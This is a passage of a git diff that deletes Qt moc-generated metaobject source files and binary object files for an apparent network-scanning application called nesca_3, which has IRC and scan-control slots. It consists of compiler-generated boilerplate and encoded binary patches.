(*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRC_NMBlinker::sBlinkMessage)) { - *result = 0; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject IRC_NMBlinker::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_IRC_NMBlinker.data, - qt_meta_data_IRC_NMBlinker, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *IRC_NMBlinker::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *IRC_NMBlinker::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_IRC_NMBlinker.stringdata)) - return static_cast<void*>(const_cast< IRC_NMBlinker*>(this)); - return QThread::qt_metacast(_clname); -} - -int IRC_NMBlinker::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void IRC_NMBlinker::sBlinkMessage() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_irc_nmblinker.o b/moc_irc_nmblinker.o deleted file mode 100644 index ef11461e9a7d2de32285d8a60135cfe5aab70a93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7816 zcmds6U2GKB6~6ZJ;}Cb*Kz~SS%0NkCny}rm4H())Hul1}7-O)hQV1Q7ch`6u?=Ib) zMTUn$wQ<DCp>iK1Rcb4tK1b?9^AgDoNTd&u5HD>-o207Lf~Zs~Bwk3Gp6|}NyLa!- zgr@3Kk2HJE{m$S0pSgE0q{j|)c610u9pXjNEGblog*8oiP>O?MtN5z4T}Ng3bTi+` z{PWDeNL-P#bfL?sUFZ@1>N~)k%d5ezuHW)1IF)yS*}t`KO8w%4YWLzzf8hSr+4WmS zgsA;%UG=`RG}Pr>{(`h$vYow&>W5Bkp-WW%a9vjO>TI$to{ToTe0<WW-*;+%?{XF& z`1?4UQ~%hhe{dV|>hC!9+lx1=Yn|G)u9K&(f;si~o%%mco{}NfZ@CCNd*$w*)^8aU zLsO&mkB&R__a<f7gbcE{ve3PFtGaP<W!ZnGcDsXuBu<_hdim<?a_wPv_1@x2^^UW2 zTwL$`gb0CzQ@>;1v>%Ms|5hK_-Yugnk#P4nNT!jqB>T&$tt6cKT3I7aOZ^w<sg)1e zM#iG%os`DT<riR&9tadmL796q=zTQ0J#<SRRamP8=9mX@12c=T!2`lv>7)na_8dJX zp@TlBfey<i{-TC!=AxeqqsNBb@x%M)^Tk(kWl@pB;asKSozCgz!tQIeY*GF{6b=p# z@3VRijvwD)^(P0CeO7PE?oaKtZL8;4E^9fSAK*Lp>_Bs|hCv<YkBN?jM91dtwOz|J zcnQM3A~iy6Vh${&$q<3jvXz9f2EqO%DG6bLJMl!Vb28pVBJ6!&MB@RIb-2WG68um+ z@jbG}*!~=4qA~mo#S^b}4#hXsVh7_^c3pfE0YmYwp~pu^J}Bj}$Adcl9`-~Ye)h)` zuXm2bH@y}ciCeW*2jZ#ku8Ug~i2V1*yN1a}BrE3%zBfbMF9&>1N#)$Um-KTBzDQ<0 z-xJB1N<}0aXwp3~ZcM9@-t^f=SfpAlD!y0tt7q6LU(EZiS1x<!2q*<f15U}NCXH<D z1T)l%JYY5YA6b3pkyav^DHRI2BDKC)@^eX=T05z>nO8V%ZqA)8dxe}xo-UWD1^*iw zraAaTNT@-^Fqc4E=)oLbg#wY{QT}Rw(fyy+{2t{$A+rdf``e$vU#$z>zxOlvPlx2+ z7UFLaMqMcPU1AMV<6}dq5!R(no2j7sLdTb%3`!RJqyMqDtM*{+gPx%WCNUH=x?<#2 zDl^yfq(ICle>05fzngqvvj#68joxHOwO1*X*?xUYl@0itUk*ws2GM?eADQjPIEUrG z!TBxH>tyDiB&FFV*ni0R9d<^3e3zN|&l4u|vz=o1IKSLy6-eC7UnMLoe-9=G(Q?4# z`os5tng23jz|HZqcs!InhiUk$@+A_&^1sFT)jUJ{QFj$j;cpOzrW(U91{rvlbUImj zf#hG%BmIp432u<tUuO9o_Kz9<7W=Dus<fv6+oT9<{|#=x!;WY__CK@zw+Tc2&HRI$ ze}Qy5S$cuwzt9twe-nQcOdvQB^5gs8%pWJc%nu`tRyco3!ysBl`7v@1%Rl#2U^vb8 z$dA4>^Ka(-W}bVTe<%AZhPr|j-_HI4+WdVgtWuhvvfRu5#_$V^{kv2mc2M<K{{5s6 zOZ6_de}xUvehi87SMv(*PHrk&2CPROFNFBEk>4oFelY8f2ybCg6W!oA7Ri{BX8y+r z3(J2Ala**S`v;|FzpHW-M?F`Ge|{3CkF~w+0;^b~cCB79fm*gxOz!AmICk20iiMnr zzC>o78m{)+65$<MUcKLAZM(1#Ka}<x#58fxT)^aSOl;6ffp~>jhlWpS7BP7m(*PD@ zjZ;9YE+$uYD~3|6aUy8d#pFzA#R7YEl4$C#Nl|ZoQx_Bbl50XziZxbet0LC6%Ln>c z=nO>t!&Vk>V^UI>Tl8$u=9OAs9}{lw*~q$)niPibBm4=i-_*V|O*rCPa3)f|uSUed z_sceIeyZ=7>x6IB#!Kz*w<6-)jfm4pi+-E@q6q3^1x!3ixT+gNl39dr=v>n{7ml+s zA7THa2>cD;^qBO^2>V|Vj()qy4)T0R^6w(--;cl_a-16+$79}4n^#zSX9?e`ts`Y~ zUgEsDQ4BRtejE|!*Ae)&2>gQxd=*V)RR^xRWY0z5$0Be)0{>YA{$2$B*9cq`N*Om_ z&bY<GOmIn)%$zwR+=F9B_79D@ZlyZoj=Jq9X?x%YzDvhVKc8_6IXZTF^YiJ6Jx7ns zd_R}*$8G!QVM2pa|1gyKiHWnqJu&Hz4Y+Q;grhVS$NG9H5F${ta=v&Pr)9VGE{Lpp zcPpz<ecL&I7oFm%(ua&ww4FkxpjNQpRvtNUU@|@BP7UoJOS^%e%`F+B>ezd-=Zan- zpJ_HJ2yaH;9dw9hhG3>uU&}2RN7DOiz{~jgv!0)8cId>RNtZj&j3@6j=w6}i#(+}q zIXX30&Usn3X>+wh+cAPW5cfoOUJjV)^k0ws_@qCOFIC(buafH@rQsju^d>$caW`8j zxpQ7IJD(G-n_2K&>X8LGY1*n}^X$lY6+b<3C?jYtWePNnn_XbH*@O&D(}pJOr%d8T z$7)eO-J|_-DC{Z-!#HlI(A))YCV$rMCApG!GxJ`h;`-;#<lKC5wv?uZO^vF-)mynM zcb0C1(i6LnrXd8XV7}Y7)E&sr`?+#@V$uyYO8NN$se>rAil-XImRPCGTz)>=G#hRd zTg>cCwc?iwY!_CkzD%iD#Ewz&^RwsD#}4t%L2GEPlx+#NJDaaO(%M*TedTH~nB%Iq z?2tuDJF|LU(`$$RT@m6VTyztCP43#kc~!^NdkyyZ)>rnG2>YLCIKEb|aQUaqX?qqp z`=~g7*6@^uKTF>SAmn|P9%Zk-fDs2r5rscbG6=XukHT>e0W$Ho16bntHdglZnv;Yt z^KJAfe0=~*d-RpUqwG~bBd>0+zC?lJj>?RK_Clv{y}dmeuHvJfJ2YH<xgyTjHGC_{ zATvH}K*)*zM^s*5APj@~AB@8LNKo&7b^d}q?yeLmJ@9@764&i<|ENf}=c@*(Qr|O( zqsAHv3qM4_zagdI2Ym$szFkVe59SyM_|sAfeg;?uF8?9q@}P#}PEV1;0_^uFkobg# ztC)aZ((t`3gH5xHIQv)zn`0UHH(3Td!!q!1v8*%TFKB??&zMWotke5h%`vF-e#W{} zWU+wxgGZ4XQ-xcsQ2hg3Kh?a<df>RXRkXl@ilfHqbq&|&;S~*s&qXf((ZFwT`QJ+M B`l0{; diff --git a/moc_msgcheckerthread.cpp b/moc_msgcheckerthread.cpp deleted file mode 100644 index 26d8e59..0000000 --- a/moc_msgcheckerthread.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'msgcheckerthread.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "msgcheckerthread.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'msgcheckerthread.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_MSGCheckerThread_t { - QByteArrayData data[3]; - char stringdata[29]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_MSGCheckerThread_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_MSGCheckerThread_t qt_meta_stringdata_MSGCheckerThread = { - { -QT_MOC_LITERAL(0, 0, 16), -QT_MOC_LITERAL(1, 17, 10), -QT_MOC_LITERAL(2, 28, 0) - }, - "MSGCheckerThread\0showNewMsg\0" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_MSGCheckerThread[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 1, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 1, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 1, 19, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, QMetaType::QString, 2, - - 0 // eod -}; - -void MSGCheckerThread::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - MSGCheckerThread *_t = static_cast<MSGCheckerThread *>(_o); - switch (_id) { - case 0: _t->showNewMsg((*reinterpret_cast< QString(*)>(_a[1]))); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (MSGCheckerThread::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&MSGCheckerThread::showNewMsg)) { - *result = 0; - } - } - } -} - -const QMetaObject MSGCheckerThread::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_MSGCheckerThread.data, - qt_meta_data_MSGCheckerThread, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *MSGCheckerThread::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *MSGCheckerThread::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_MSGCheckerThread.stringdata)) - return static_cast<void*>(const_cast< MSGCheckerThread*>(this)); - return QThread::qt_metacast(_clname); -} - -int MSGCheckerThread::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void MSGCheckerThread::showNewMsg(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} -QT_END_MOC_NAMESPACE diff --git a/moc_msgcheckerthread.o b/moc_msgcheckerthread.o deleted file mode 100644 index bca1d4385dec3fbe1e3a0fcb1445a1a910e092cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9584 zcmd^FeQaA-6@QMq#dO8>HpapV)E%Luuz7Yr)6tc<iJKRic4?DtV_o;+*iLNb#36pp zk|D8xn}QW0^&bWTg!Ts@_ycJmBt9laSPGqhX{`T%G{*RlV51W&8Y-|3%K6=Qj(z?7 zUbn%Y9O>np`@84k-g7_Reb;#~HMqYm5HN%S#$KaQ64WpjLJhe`i9N;^W3$p-M`hTA znMa6U!}8mh-@yFs%%j9X=F)>9v-)6{VPElrDlcCFwz_`f32?)#zSxmCYu4<}kh#1= zA+_I`XV!E=d|s8Sr#n_piT>h+N^$XQW&G$cS$3IA$&k5ZEOnT*HJ!`Df$A%P+4l2Q zBe4E6kDJSboe}m)5zh2=qTPmB`-54_c6K<vm-cinwJ)yNX7wMJ?5oaKZz0Q-6DxMi zte);VcKqel>c7`k{;9$&U#HBM66Wqm<&S1{E@V`mJ98z#Rg?UTuiw~b7~e-8A8VsO zD!{q#n6)39wdb5@wU-nhA0LlNf2bd|m#HfubMb<GYdr=35}VrNX6<?Ea62_9bnN&l zm|6RcS$pZ&ah1^Z8y6^;kyttR?D~y8Msj4J_Uciy_T;c~8&LrlSLW6&K2y1Napjb~ zx%zy7oJ5WtPu{aSeyVzLUFH1ZO63J}>8Nq0?Gh0jQJP*zoK0L9to^Ch*SSu4St8-w zj}S~Fb4iV-SzU>kwRY7atrp|2>Zz9(S%*{c+%ac9EVVC1sDIZt5@*)VaL*{8)mPNG zbYVnKoVD9trd+q5JA3I;z@TUCz!l#N7(WcC7%Hy0d>c42>I7PH$~<~J#VCobO>Jto z6xu~#F6+PrHx;2H&$T3DHejB-kDj$$CZ-4pSM!p~riMdTD9Hl!1q0vCg@eQWz4=_` zzTC`6ekPaB8s&WH{zJL@50)o%btAE}MYE~?|EAF2+k0!YtN+l^Ez#|<?%1~I)_7uj ze0L%d?K+anM$NSC;5YBuf}FgC6BBsgh!L2J1U9T|51pbx#@J!c19dn|>Bd=p4|rcV zIu;HoT^V1@3lMDXQIcUq!Od`_+BQtu4Znd0h6YvC_AfwVgTzLg)ILdk7d>m}0bx$; zQIcVtCa&;-aO7lLGTc!O_Jw=e?hSV&SHqFyPr{*mxThLCi8%^?YS9pn(PJD4NA9JT zz@M7X#0DWJ>%RKK(d=6CMXti3<W+qn_bYkuD#Jhyy0H+5()hD49QkxxU%2BWwINzv zvp*dF(Asd68b$W|!l7QWF=FNUNjp78+@5iGUZj~^F&(pWbG8x7rtP#58!MNMSRIX7 zcOPn<-hEqBv#+fbZ&BKHc-WpPOieiU6Pb*ao6F>;ZHpRJ%pun0HT0NeJ3V7prWq<s z6>KX#Gn1Ytpyc$#;pBB>xU~yx2Tk;rjG#F1dKK?@J&JmazB?(*c+9dU=H{&F+)TMN zl`a<Sd22Rq#4@GH$=nnT!Bol4#c2K9Ouft8$M(6rH9nJ`%o(wXnG*H*f2JpB{#@<h zrH3)B6A;!J){?9N;ePhA4t4vR-hllO>4I=J0wF%mLK0WFUwm2fdi=d_z&=a5Al?20 zRF=5H{o)sub+bJ-I<XV(XK#Dh-{N5(B@A1DIwuhqT43R6-X8>yh`@XUacPTQ_3%cg zlxKV7AGwfx$X>jeFsKCS(P;!5o(H*OVNSrOpS`R3Ep6RNw$QoK6>pTw@*W@+MehD5 z2z9p!ilI$PUG1@u(0|NDcmIzO<`sW|<437pCwKfisM0HbH^(>G81eCa;EumQm{<IV zIX>Q7I=SP2lq$XAFK~PrXT*oCJN`q2A%2@H|G(t2+c$J|`Ysiey$+K64BMm6I=Sti zqDo-y`G216)q7TR;O_rVsm|R-sDEygV|2=4YW(s3cK84HgrSY@`5R?G^w~|_Udqps z;1$2?Mn^->|62(Xe}eyoFt7aeaQr76H}${Ky5tBKh$(x{msCf%QLnXrZXjdW2VM4Y zwwHF+{ffZ+Ix_a^e-HQHWIfD3d;`1t-|G{9l%3A8y|AbV%=h}l{}jg`Lg$DOALmea z{G!B%l19Jf_;C$`7<H8=eB%G=U5?@?>m&X<>2b&Zn8bJGKf<4EqR(#X_EMhriQnDn zXvp{>ev}^ZC-}o0-`&p+j(@Y`rv8`I6$$@3+t(FXNHsn=o2tZ4z{l9$)qTTcdwG9} zzO-M;-y?gk`8UM<k8(itACTBf|8aJ5uYLG_gg2z8Tn%;=4V2w&hy4mJfQUlv4(}p{ zDd~>?Cc?bpKY_y%(bKLxy5l=qt$(4n#`tT~x3Fjh>#Y#P;X(EF-Hf3WH1OfkO2PW+ zuDLF#cGPAJrJ#BPdEuNaS5?q(?_Q2Vu>Q5#Fu>l@rs4A5s1P2|+OOv?XkbTfrV~^Q z&`Eie;k;HItbf5az;BQUeIYrwq8wBwUa4vDpxOx=Ws!pQFJ(a-9#lI=Glo*oh_-?X z=gr4e8?1i~H!6OiL_I4`-Jccnnwf};ncPZ2wHmx|uN4A6e*V2yH1u7IfkOpbP7h8+ z(BQ?VHR%<SuhHhejNC>_K}6FNafc6n58+p9<0AX#BH{2KWe3=IK#%zN`8DA;YU@a5 z`~|`{Y4c&uabvuhQt8#scM$I7XP3fp!f`0d{IHLoyOe$-f}B6|gl}pS>&8BI!pF~7 zeeg$p{Qr#bYuZA_5V!9%^XqAfG+M(TvCTgCULX7p;1t7686W*=!qqs^IDiHnW_;F1 z|4TmjqwHsz{iNB?-+lDA(A3|g?He*5dK8Xb&LNq%cM|TEp9LR$*$4lc5B{VN{x=_d z11(Xn_T1)!=Y8;peDH7i;KpPrV@;MPGR`HhtuA?Endxc6>L0v)Uvkj0%9Sx|!1BBV zOLTw4w&<S5E|8NP-Pfdx#njNQ!?%xpIG3>xB@%}Z66%z;_oA{eG&E~icMscx-Ii4- z;m(SRgWGnHBX}ThxE;ftl+|*hOp04~i=v;3*InHXx`xwl*0_A2^#&^uM=P8b!-$h` z`~LmIsS#@=xo<FK!PNoko1@i7O-<~|&QGN$3z<fDoroR*b~^deG~v%fG2XapPsyF2 zQq{BCozB>W*|eQ&q<!eXu*GTiaI5Ye>6*{$_D-e9x#wp!F9!*~uJz%z)4DrbR72c+ zk9oPfKXgBSIEkA}mCSfHM^mMgQN0?rCMONgD?`;<zD)IP(|<cdk51iRn95p5a^(u$ zI#Q@%ySq>-TVv^RZu<bu+FlOn#`_d*Wy>WipPtGV$=J%wr7h~roSN$%DNQ7JQfJa- zJ2iA5W6&zdOwt;}ZLl*StvX0s%dak)8m+d=tUxcvm$&e|LiV{Z#ss55Mc3!jV};qo zR+7sFD^pCD%a%PqowEv4<E0e!aAZKbsCRcqZkBF?Q$srsryw|0&VoxMRNekU(az1J zhK4OqrMO*~q-w_tE!L5GvB_6FlP?sr4Yl5Su}LkFsg&)~B<p!KYFnl>HHA&DWEaNg zQ%A5tV2#t0FJ+sY?aUU+uc_TSwA*GXQ_j+pge5%o5`NFg`wy?~chmDKe&8dL^Sv9# z9WjVrPwJar^gp3c=UYwp^LfVI`ajq7aYrhCE^7L54G;1A9e%cIctpeTJCXQFFpl=G zr{~M`fc9wmw^CX3Kd#~U#a8e$nxAbNj=N3}+S5so=pWboykEoVIHCyOqqyf5eY6b( zKkubSa6f$+FSkDKUO>Qcryzc=2S@~5&!_lDeo!a+dcW}R5Q0lww120D%ZUkoaF!MQ zO(cWd{?SJeVs_Ib`oKU)-&!R#{{h}ZkDPtvJ0G~rNfPVzz>@%&bbb6zAte5wf1`lJ z<@^VHw}wYq2EIqbyEGiXvkM{TAn4zuB<BzM4g$VUNzR`hmVx)O3}&(nypLtDA(nxs zSO&X`W#Ic+1{-A=ct6Wvd6t1oEI`v5KESfhp#MP)2(b(tb9<D_dY)y@qe{;+)|Z>$ z2fslGMOnbS!Xu=9Bc_7jQLY$d4xEm*bsA*}xPCYONe#b+Ww0-5xc=4q6%CiZ1Nydx jBZiFA4>TNWN$5oupsUaSHAnyva6C~i%RVN!eE<9hJ4Fuk diff --git a/moc_nesca_3.cpp b/moc_nesca_3.cpp deleted file mode 100644 index 6681747..0000000 --- a/moc_nesca_3.cpp +++ /dev/null @@ -1,713 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'nesca_3.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "nesca_3.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'nesca_3.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_nesca_3_t { - QByteArrayData data[111]; - char stringdata[1651]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_nesca_3_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_nesca_3_t qt_meta_stringdata_nesca_3 = { - { -QT_MOC_LITERAL(0, 0, 7), -QT_MOC_LITERAL(1, 8, 25), -QT_MOC_LITERAL(2, 34, 0), -QT_MOC_LITERAL(3, 35, 3), -QT_MOC_LITERAL(4, 39, 23), -QT_MOC_LITERAL(5, 63, 3), -QT_MOC_LITERAL(6, 67, 14), -QT_MOC_LITERAL(7, 82, 18), -QT_MOC_LITERAL(8, 101, 6), -QT_MOC_LITERAL(9, 108, 12), -QT_MOC_LITERAL(10, 121, 20), -QT_MOC_LITERAL(11, 142, 21), -QT_MOC_LITERAL(12, 164, 22), -QT_MOC_LITERAL(13, 187, 18), -QT_MOC_LITERAL(14, 206, 11), -QT_MOC_LITERAL(15, 218, 15), -QT_MOC_LITERAL(16, 234, 15), -QT_MOC_LITERAL(17, 250, 15), -QT_MOC_LITERAL(18, 266, 10), -QT_MOC_LITERAL(19, 277, 15), -QT_MOC_LITERAL(20, 293, 16), -QT_MOC_LITERAL(21, 310, 2), -QT_MOC_LITERAL(22, 313, 17), -QT_MOC_LITERAL(23, 331, 17), -QT_MOC_LITERAL(24, 349, 13), -QT_MOC_LITERAL(25, 363, 16), -QT_MOC_LITERAL(26, 380, 14), -QT_MOC_LITERAL(27, 395, 5), -QT_MOC_LITERAL(28, 401, 9), -QT_MOC_LITERAL(29, 411, 10), -QT_MOC_LITERAL(30, 422, 13), -QT_MOC_LITERAL(31, 436, 10), -QT_MOC_LITERAL(32, 447, 16), -QT_MOC_LITERAL(33, 464, 11), -QT_MOC_LITERAL(34, 476, 11), -QT_MOC_LITERAL(35, 488, 2), -QT_MOC_LITERAL(36, 491, 17), -QT_MOC_LITERAL(37, 509, 13), -QT_MOC_LITERAL(38, 523, 8), -QT_MOC_LITERAL(39, 532, 3), -QT_MOC_LITERAL(40, 536, 13), -QT_MOC_LITERAL(41, 550, 13), -QT_MOC_LITERAL(42, 564, 14), -QT_MOC_LITERAL(43, 579, 17), -QT_MOC_LITERAL(44, 597, 6), -QT_MOC_LITERAL(45, 604, 19), -QT_MOC_LITERAL(46, 624, 13), -QT_MOC_LITERAL(47, 638, 4), -QT_MOC_LITERAL(48, 643, 12), -QT_MOC_LITERAL(49, 656, 19), -QT_MOC_LITERAL(50, 676, 10), -QT_MOC_LITERAL(51, 687, 10), -QT_MOC_LITERAL(52, 698, 9), -QT_MOC_LITERAL(53, 708, 15), -QT_MOC_LITERAL(54, 724, 15), -QT_MOC_LITERAL(55, 740, 18), -QT_MOC_LITERAL(56, 759, 10), -QT_MOC_LITERAL(57, 770, 17), -QT_MOC_LITERAL(58, 788, 16), -QT_MOC_LITERAL(59, 805, 13), -QT_MOC_LITERAL(60, 819, 14), -QT_MOC_LITERAL(61, 834, 16), -QT_MOC_LITERAL(62, 851, 18), -QT_MOC_LITERAL(63, 870, 20), -QT_MOC_LITERAL(64, 891, 4), -QT_MOC_LITERAL(65, 896, 20), -QT_MOC_LITERAL(66, 917, 20), -QT_MOC_LITERAL(67, 938, 18), -QT_MOC_LITERAL(68, 957, 20), -QT_MOC_LITERAL(69, 978, 18), -QT_MOC_LITERAL(70, 997, 15), -QT_MOC_LITERAL(71, 1013, 14), -QT_MOC_LITERAL(72, 1028, 11), -QT_MOC_LITERAL(73, 1040, 2), -QT_MOC_LITERAL(74, 1043, 2), -QT_MOC_LITERAL(75, 1046, 2), -QT_MOC_LITERAL(76, 1049, 2), -QT_MOC_LITERAL(77, 1052, 12), -QT_MOC_LITERAL(78, 1065, 17), -QT_MOC_LITERAL(79, 1083, 17), -QT_MOC_LITERAL(80, 1101, 14), -QT_MOC_LITERAL(81, 1116, 12), -QT_MOC_LITERAL(82, 1129, 5), -QT_MOC_LITERAL(83, 1135, 15), -QT_MOC_LITERAL(84, 1151, 17), -QT_MOC_LITERAL(85, 1169, 16), -QT_MOC_LITERAL(86, 1186, 22), -QT_MOC_LITERAL(87, 1209, 25), -QT_MOC_LITERAL(88, 1235, 11), -QT_MOC_LITERAL(89, 1247, 15), -QT_MOC_LITERAL(90, 1263, 13), -QT_MOC_LITERAL(91, 1277, 31), -QT_MOC_LITERAL(92, 1309, 18), -QT_MOC_LITERAL(93, 1328, 26), -QT_MOC_LITERAL(94, 1355, 13), -QT_MOC_LITERAL(95, 1369, 12), -QT_MOC_LITERAL(96, 1382, 15), -QT_MOC_LITERAL(97, 1398, 16), -QT_MOC_LITERAL(98, 1415, 17), -QT_MOC_LITERAL(99, 1433, 16), -QT_MOC_LITERAL(100, 1450, 18), -QT_MOC_LITERAL(101, 1469, 19), -QT_MOC_LITERAL(102, 1489, 20), -QT_MOC_LITERAL(103, 1510, 1), -QT_MOC_LITERAL(104, 1512, 23), -QT_MOC_LITERAL(105, 1536, 26), -QT_MOC_LITERAL(106, 1563, 26), -QT_MOC_LITERAL(107, 1590, 17), -QT_MOC_LITERAL(108, 1608, 15), -QT_MOC_LITERAL(109, 1624, 12), -QT_MOC_LITERAL(110, 1637, 13) - }, - "nesca_3\0MaxBrutingThr_ChangeValue\0\0" - "str\0ThreadDelay_ChangeValue\0val\0" - "ChangePingerOK\0changeNSTrackLabel\0" - "status\0slotPBUpdate\0DNSLine_ValueChanged\0" - "slotChangeCPModeToUTF\0slotChangeCPModeTo1251\0" - "slotShowRedVersion\0ChangeTopic\0" - "slotIRCGetTopic\0slotIRCOfflined\0" - "slotUnhidePopup\0senderNick\0slotItemClicked\0" - "QListWidgetItem*\0wi\0slotClearNickList\0" - "slotAppendIRCNick\0slotShowNicks\0" - "slotBlinkMessage\0slotTabChanged\0index\0" - "IPScanSeq\0DNSScanSeq\0ImportScanSeq\0" - "smReaction\0slotShowDataflow\0slotOutData\0" - "slotIncData\0ip\0slotShowServerMsg\0" - "slotSaveImage\0QAction*\0qwe\0slotUpdatePie\0" - "slotClearLogs\0slotRestartIRC\0" - "slotDrawVoiceGrid\0factor\0slotDrawTextPlacers\0" - "onLinkClicked\0link\0CheckPersKey\0" - "slotRestoreDefPorts\0ChangeNick\0" - "setNickBox\0SaySmthng\0ChangeIRCRawLog\0" - "switchToJobMode\0ConnectToIRCServer\0" - "CheckProxy\0ChangeDispalyMode\0" - "switchDataFields\0importAndScan\0" - "slotQoSAddGrid\0slotVoiceAddLine\0" - "slotDrawDelimLines\0slotDrawActivityLine\0" - "data\0slotDrawActivityGrid\0" - "activateME2ScanScene\0activateQoSScanBut\0" - "activateVoiceScanBut\0activatePieStatBut\0" - "slotAddPolyLine\0slotQoSAddLine\0" - "slotAddLine\0x1\0y1\0x2\0y2\0slotDrawGrid\0" - "exitButtonClicked\0trayButtonClicked\0" - "mouseMoveEvent\0QMouseEvent*\0event\0" - "mousePressEvent\0mouseReleaseEvent\0" - "logoLabelClicked\0startScanButtonClicked\0" - "startScanButtonClickedDNS\0saveOptions\0" - "ChangeTrackerOK\0ChangeShuffle\0" - "ChangeLabelThreads_ValueChanged\0" - "PingTO_ChangeValue\0ChangeLabelTO_ValueChanged\0" - "appendErrText\0appendOKText\0appendDebugText\0" - "appendNotifyText\0appendDefaultText\0" - "appendRedIRCText\0appendGreenIRCText\0" - "appendYellowIRCText\0appendDefaultIRCText\0" - "s\0appendDefaultIRCTextOut\0" - "appendDefaultIRCRawTextInc\0" - "appendDefaultIRCRawTextOut\0appendGreenBAData\0" - "appendRedBAData\0STTTerminate\0playFcknSound" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_nesca_3[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 90, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 0, // signalCount - - // slots: name, argc, parameters, tag, flags - 1, 1, 464, 2, 0x09 /* Protected */, - 4, 1, 467, 2, 0x09 /* Protected */, - 6, 1, 470, 2, 0x09 /* Protected */, - 7, 1, 473, 2, 0x09 /* Protected */, - 9, 0, 476, 2, 0x09 /* Protected */, - 10, 0, 477, 2, 0x09 /* Protected */, - 11, 0, 478, 2, 0x09 /* Protected */, - 12, 0, 479, 2, 0x09 /* Protected */, - 13, 0, 480, 2, 0x09 /* Protected */, - 14, 0, 481, 2, 0x09 /* Protected */, - 15, 1, 482, 2, 0x09 /* Protected */, - 16, 0, 485, 2, 0x09 /* Protected */, - 17, 2, 486, 2, 0x09 /* Protected */, - 19, 1, 491, 2, 0x09 /* Protected */, - 22, 0, 494, 2, 0x09 /* Protected */, - 23, 1, 495, 2, 0x09 /* Protected */, - 24, 0, 498, 2, 0x09 /* Protected */, - 25, 0, 499, 2, 0x09 /* Protected */, - 26, 1, 500, 2, 0x09 /* Protected */, - 28, 0, 